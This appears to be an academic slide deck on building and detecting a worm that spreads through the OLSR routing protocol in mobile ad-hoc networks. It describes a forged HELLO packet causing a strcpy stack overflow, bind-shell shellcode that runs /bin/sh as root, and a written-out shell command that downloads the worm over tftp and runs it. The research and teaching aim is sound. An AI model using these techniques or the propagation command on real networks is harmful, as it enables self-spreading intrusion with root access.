View
215
Download
1
Category
Preview:
Citation preview
Worm Creation & Detection in Mobile Ad-Hoc Networks
(MANETs)Jacob Lynch, Johnny Wong, Kevin Schmidt, Rick Jones
Table of Contents
• Introduction
• OLSR
• OLSR Worm
• OLSR Worm Detection
• Demonstration
• Conclusion & Future Work
Introduction
• Viruses– Require human interaction to spread
• Worms– Spread autonomously– Potential to spread much faster– Require automated defenses
Introduction
• Worms could wreak havoc in MANETs
• Routing protocol is possible attack vector
• Goals:– Study a worm propagating using routing
protocol– Develop a good way to detect such a worm
Common Link State Routing
My neighborhood
Step 1: Neighbor Discovery
Common Link State Routing
My neighborhood
Step 2: Topology Dissemination
Common Link State Routing
Step 2: Topology Dissemination
Common Link State RoutingRouting
Table=
F( + + + )
Step 3: Routing Table Construction
…
Topology Changes
• Wired Network • Wireless Network
Return
OLSR
• Optimization of classic link state algorithm– Multipoint relay (MPR)
• Only MPRs forward broadcast messages during flooding
• Only MPRs generate topology control messages
• Partial link state information is distributed
Multi-Point Relay (MPR)
Minimal (or near minimal) subset of 1-hop
neighbors, the union of which provides
symmetric links to all 2-hop neighbors
MPR Terminology
Reference Node
1-Hop, or “Neighbor” Set
2-Hop Set
MPR Candidates
MPR Selector
MPR Selection
Y
Y
YN
N
N
NY
MPR Selection
MPR Flooding Tree
MPR Flooding
OLSR HELLO Messages• Used by OLSR to advertise a machine
to next hop neighbors
• Machines actively accept OLSR messages on port 698 UDP
• Sent as broadcast with TTL=1
• Next-hop neighbors will form a symmetric link
• Vary in size depending on number of neighbors
• Packet size is included in the headers
• For our purposes, this length won’t be confirmed in the processing of the packet via the use of strcpy
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Reserved | Mtime | Willingness |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Link Code | Reserved | Link Message Size |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Neighbor Interface Address |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Neighbor Interface Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
. . .
| |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Link Code | Reserved | Link Message Size |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Neighbor Interface Address |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Neighbor Interface Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Forging a HELLO Message• The source of a HELLO message is not confirmed• Standard packet is unencrypted and simple in design• Our packet mimics those created naturally by the routing protocol, with extra
data appended to the end of the buffer• Malicious data will overflow a buffer on the target machine – contains NOP
sled, shellcode, and repeated return address• Message claims to be n bytes, but the full recv buffer contains n+x bytes –
copying this buffer without bounds checking (strcpy) will overflow the stack
The Exploit Code
• Return address jumps into the NOP sled
• Shellcode performs a few essential purposes– Creates a listening socket on port 43690 (this is not
originally our shellcode – ideally use a common port that might not trigger an IDS or something easily passed as valid such as 689)
– On connect, /bin/sh is run using execve– Because OLSR runs as root, the remote shell will
inherit these privileges giving the worm root access
Propagation1. Forged HELLO message sent to a target machine
2. Target is exploited and is listening on our port
3. Host establishes a socket with the target, sending bash commands to the shell:
cd /tmp;tftp <host> 500 -c get \"/tmp/johnny5\";chmod +x ./johnny5;./johnny5 <mode> <target> <history>;exit
4. Worm runs on the newly infected machine from square one and finds the next target
5. The worm is capable of leaving a backdoor open on any target machine
Propagation
A B
HELLOPT689
Open Ports:
•698 (OLSR)
•43690 (Worm - /bin/sh)
HELLO
Stack
NOP Sled
Shellcode
Return Address
Shell CmdsPt43690
Req WormTFTP
Host
WormBinary
Target-New host-
High
er A
dd
resse
s
Buffer2
Buffer1
EBP
EIP
Vars/bin/sh./johnny5
Target Discovery
• Most worms scan IPs on the internet for machines with specific vulnerabilities
• MANET machines are homogeneous, all are vulnerable
• Do not need to scan, can spread more deliberately:– Sniff packets, gather IP addresses– Examine routing table for IP addresses
Target Discovery
• We chose to examine the routing table– OLSR is proactive– Worm can be proactive too– May not be appropriate in AODV, for example
• Our worm has two different modes of target discovery
Target Discovery
• Mode 0:– The worm randomly infects one node, but
checks history to make sure it hasn’t been infected before
– May not want to check history in a low density network
• Mode 1:– The worm looks for a path to a specific
destination node; if no path is found, it randomly chooses its next hop
Target Discovery
• Opportunistic propagation
• Controlled propagation
• Choice depends on the purpose of the worm
Detection
• Buffer overflow attacks sends a long string of NOPs– \x90\x90\x90\x90\x90
• Snort has a rule that detects this transmission– Can be used to detect this worm
• Increased CPU usage
• Multilayered
Demonstration
Demonstration
Demonstration
Conclusion
• MANETs are a great environment for a worm– Homogenous setups– Easy target discovery– Energy constraints may prevent effective
defenses from being run
• Many ways for a worm to wreck a MANET
Future Work
• Vulnerabilities in other protocols
• How network density / mobility affects worm propagation
• Methods of stopping the spread of a detected worm
• Ways to improve this worm and countermeasures
References
• T. Clausen, P. Jacquet, A. Laouiti, P. Minet, P. Muhlethaler, A. Qayyam, L. Viennot, “Optimized Link State Routing (OLSR) RFC 3626,” http://hipercom.inria.fr/olsr/rfc3626.txt
• Aleph One, “Smashing The Stack For Fun And Profit,” http://www.maths.leeds.ac.uk/~read/bofs.html
• M. Zalewski, “Writing Internet Worms For Fun And Profit,” http://reactor-core.org/worms-for-fun-and-profit.html
• J. Erickson, “Hacking: The Art of Exploitation”• J. C. Foster, “Buffer Overflow Attacks: Detect, Exploit,
Prevent”• J. C. Foster, “Sockets, Shellcode, Porting, and Coding:
Reverse Engineering Exploits and Tool Coding for Security Professionals”
Buffer Overflows
• Two flavors:– Stack-based– Heap-based
• Stack-based buffer overflows are more easily exploited than heap-based
• We use a stack-based overflow in our worm
• Heap-based overflows are not covered
Stack-based Buffer Overflows
• Stack: contiguous block of data in memory
• Stack pointer points to the top of the stack, the bottom of the stack is a fixed address
• Logical frames are pushed and popped on/off the stack with function calls/returns
• Frames contain function parameters, local variables, and the data necessary to recover the previous frame
More Stack Information
• Stack grows downward toward lower memory address on Intel CPUs
• Important registers:– EIP: saved address that points to next instruction when function returns– ESP: current position on stack, used for push/pop operations– EBP: static point of reference for a function, used to access
variables/data with offset
Sample Stack
• This is the C codevoid function(int a, int b, int c) {
char buffer1[5];char buffer2[10]; }
void main() { function (1, 2, 3); }
• This is the assembly code for calling function( )Pushl $3Pushl $2Pushl $1Call function
Sample Stack Cont’d
• It is easy to see that if buffer1 is filled with more than 8 bytes, then the saved EBP and EIP will be overwritten.
strcpy
• strcpy(buffer1, “randomjunkstring”);
• buffer1 is only 5 bytes, but 16 bytes are being copied• strcpy doesn’t check length• buffer1 will overflow the saved EIP!
Usefulness
• The EIP has been overwritten• Program will crash with a segmentation fault ( address to return to is
missing)• Overwrite the EIP with a new address• Address points to a location in memory containing shellcode• The arbitrary shellcode will be run by the exploited application
Shellcode
• Basically assembly language
• Will be different depending on OS and CPU
• We basically compile the assembly by converting each character to hex:
• “printf(“\\x%02x”,((unsigned char*)code[i]);”
• Prints out unsigned hex integer for each character in code (assembly)
Crafting a Useful Buffer
• We will take our buffer of 16 bytes and use the first 12 for shellcode
• The last 4 bytes will overwrite the return address, and point to the beginning of the buffer where the shellcode starts
Problems
• We don’t know exactly where the EIP will be sometimes because of all the variables on the stack and because memory is allocated in 4 byte words
• Don’t know exactly where in memory the start of the buffer will be; depends on environment
NOP Sled
• NOP = no operation = \x90 (hex)• This is an operation that basically does nothing• If executed, the IP is basically just incremented• Now we can make a fairly large NOP “sled” and execute
NOPs until we reach our shellcode:
Return Address
• We don’t know exactly where EIP is in memory• We can just add more return addresses onto the end of
our buffer, in order to increase our chances of overwriting the EIP
• Number of NOPs + size of shellcode must be evenly divisible by 4
Recommended